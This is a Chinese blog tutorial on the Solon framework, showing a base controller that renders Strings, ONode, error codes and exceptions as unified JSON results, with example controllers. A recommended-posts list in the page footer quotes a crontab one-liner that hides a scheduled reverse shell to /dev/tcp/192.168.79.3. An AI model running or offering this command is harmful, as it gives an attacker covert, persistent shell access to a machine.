下面这个场景是特意为此文设计出来的,有点儿乱。但凡类似的场景。。。Solon 都可以给你一个so easy的支持。

Solon 特性之一:

可让控制器实现 Render,从而接管控制器的渲染动作。

1、定义个接口基类,并实现渲染接口

渲染逻辑如下:

  1. 如果对象是null,跳过不管
  2. 如果是String,直接输出
  3. 如果是ONode,做为Json输出
  4. 如果是UapiCode,将其转为Result,再序列化为Json输出
  5. 如果是Throwable,将其转为Result,再序列化为Json输出
  6. 如果是其它数据,直接序列化为Json输出

代码:

  1. //这个注解可继承,用于支持子类的验证
  2. //
  3. @Valid
  4. public class UapiBase implements Render {
  5. @Override
  6. public void render(Object obj, Context ctx) throws Throwable {
  7. if (obj == null) {
  8. return;
  9. }
  10. if (obj instanceof String) {
  11. ctx.output((String) obj);
  12. } else {
  13. if (obj instanceof ONode) {
  14. ctx.outputAsJson(((ONode) obj).toJson());
  15. } else {
  16. if (obj instanceof UapiCode) {
  17. //此处是重点,把一些特别的类型进行标准化转换
  18. //
  19. UapiCode err = (UapiCode) obj;
  20. obj = XResult.failure(err.getCode(), UapiCodes.getDescription(err));
  21. }
  22. if (obj instanceof Throwable) {
  23. //此处是重点,把异常进行标准化转换
  24. //
  25. Throwable err = (Throwable) obj;
  26. obj = XResult.failure(err.getMessage());
  27. }
  28. ctx.outputAsJson(ONode.stringify(obj));
  29. }
  30. }
  31. }
  32. }

2、接口基类应用示例

示例,白名单检测接口

此接口做个白名单检测。如果成功,则返加符串:OK

  1. @Controller
  2. public class CMD_run_whitelist_check extends UapiBase {
  3. //此处的@NotEmpty验证,如果没通过会抛出UapiCode
  4. @NotEmpty({"type", "value"})
  5. @Mapping("/run/whitelist/check/")
  6. public String cmd_exec(Context ctx, String type, String value) throws Exception {
  7. String tags = ctx.param("tags", "");
  8. if (tags.contains("client")) {
  9. if (DbWaterCfgApi.whitelistIgnoreClient()) {
  10. return "OK";
  11. }
  12. }
  13. if (DbWaterCfgApi.isWhitelist(tags, type, value)) {
  14. return ("OK");
  15. } else {
  16. return (value + ",not is whitelist!");
  17. }
  18. }
  19. }

示例,通知推送接口

此接口只能白名单里的IP方可调用。执行后返回:Result

  1. //此处的@Whitelist验证,如果没通过会抛出UapiCode
  2. @Whitelist
  3. @Controller
  4. public class CMD_run_push extends UapiBase {
  5. //此处的@NotEmpty验证,如果没通过会抛出UapiCode
  6. @NotEmpty({"msg", "target"})
  7. @Mapping("/run/push/")
  8. public Result cmd_exec(String msg, String target) throws Exception {
  9. List<String> list = new ArrayList<String>();
  10. for (String str : target.split(",")) {
  11. if (str.equals("@alarm")) {
  12. List<String> mobiles = DbWaterCfgApi.getAlarmMobiles();
  13. list.addAll(mobiles);
  14. } else {
  15. list.add(str);
  16. }
  17. }
  18. String rest = ProtocolHub.heihei.push(Config.water_service_name, list, msg);
  19. if (TextUtils.isEmpty(rest) == false) {
  20. return Result.succeed(ONode.load(rest));
  21. } else {
  22. return Result.failure();
  23. }
  24. }
  25. }

示例,配置获取接口

此接口返回一组配置,以ONode类型返回

  1. //@Logging是个拦截器,会对请求输入进行记录
  2. @Logging
  3. //此处的@Whitelist验证,如果没通过会抛出UapiCode
  4. @Whitelist
  5. @Controller
  6. public class CMD_cfg_get extends UapiBase {
  7. //此处的@NotEmpty验证,如果没通过会抛出UapiCode
  8. @NotEmpty("tag")
  9. @Mapping("/cfg/get/")
  10. public ONode cmd_exec(Context ctx, String tag) throws Throwable {
  11. ONode nList = new ONode().asObject();
  12. if (TextUtils.isEmpty(tag) == false) {
  13. List<ConfigModel> list = DbWaterCfgApi.getConfigByTag(tag);
  14. Date def_time = new Date();
  15. for (ConfigModel m1 : list) {
  16. if (m1.update_fulltime == null) {
  17. m1.update_fulltime = def_time;
  18. }
  19. ONode n = nList.getNew(m1.key);
  20. n.set("key", m1.key);
  21. n.set("value", m1.value);
  22. if (m1.update_fulltime == null) {
  23. n.set("lastModified", 0);
  24. } else {
  25. n.set("lastModified", m1.update_fulltime.getTime());
  26. }
  27. }
  28. }
  29. return nList;
  30. }
  31. }

此文的渲染控制重点是对抛出来的UapiCode和Throwable,进行有效的控制并以统一的Result形态输出。对外接口开发时,还是效果可期的。当然,也可以用此特性干点别的什么事儿。

Solon Web 开发,十二、统一的渲染控制的更多相关文章

  1. Solon Web 开发,二、开发知识准备

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  2. Solon Web 开发,十四、与Spring、Jsr330的常用注解对比

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  3. Solon Web 开发

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  4. Solon Web 开发,一、开始

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  5. Solon Web 开发,四、请求上下文

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  6. Solon Web 开发,五、数据访问、事务与缓存应用

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  7. Solon Web 开发,六、过滤器、处理、拦截器

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  8. Solon Web 开发,七、视图模板与Mvc注解

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  9. Solon Web 开发,八、校验、及定制与扩展

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

随机推荐

  1. C++ 未初始化内存出现 flashback

    在 C++ 中分配一个未初始化内存,然后读取它,会读取到这块内存之前被使用所留下的值,这种现象我称之为 flashback. 栈内存很容易出现这种现象,而且很容易观测出某种规律. for (int i ...

  2. 洛谷八月月赛 II T2 题解

    Content 现有 \(T\) 次询问. 每次询问给定一个长度为 \(n\) 的 01 串,记为 \(A\).回答应是一个字符串 \(B\),满足: \(B\) 是长度为 \(m\) 的 01 串. ...

  3. HTML界面监控键盘回车Enter按下并绑定动作

    本示例绑定键盘回车键(Enter),触发发送WebSocket消息动作 <script type="text/javascript"> //监控键盘Enter 回车键按 ...

  4. 隐藏计划任务反弹shell

    靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...

  5. 使用docker logs -f 打印日志中文无法正常显示

    打印docker日志的时候 中文无法显示 显示了问号 在Dockerfile加入 ENV LANG en_US.UTF-8 ENV LANGUAGE en_US:en ENV LC_ALL en_US ...

  6. Linux(centos)下修改mysql的sql_mode模式

    进入MySQL的配置文件 默认是/etc/my.cnf vim my.cnf 在最后一行加入 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITU ...

  7. 【LeetCode】788. Rotated Digits 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...

  8. 【LeetCode】875. Koko Eating Bananas 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 二分查找 日期 题目地址:https://leetc ...

  9. 1120 机器人走方格 V3

    1120 机器人走方格 V3 基准时间限制:1 秒 空间限制:131072 KB N * N的方格,从左上到右下画一条线.一个机器人从左上走到右下,只能向右或向下走.并要求只能在这条线的上面或下面走, ...

  10. [技术干货-算子使用] Mindspore 控制流中存在原地更新操作类副作用算子时循环值不更新问题记录

    关于mindspore 原地更新类算子的一点思考记录如下: 现象记录: 原始测试代码 错误结果复现: 分析: 如果在场景中加入42行的copy()操作此时cpu的结果就会正确,但是gpu的结果则不受c ...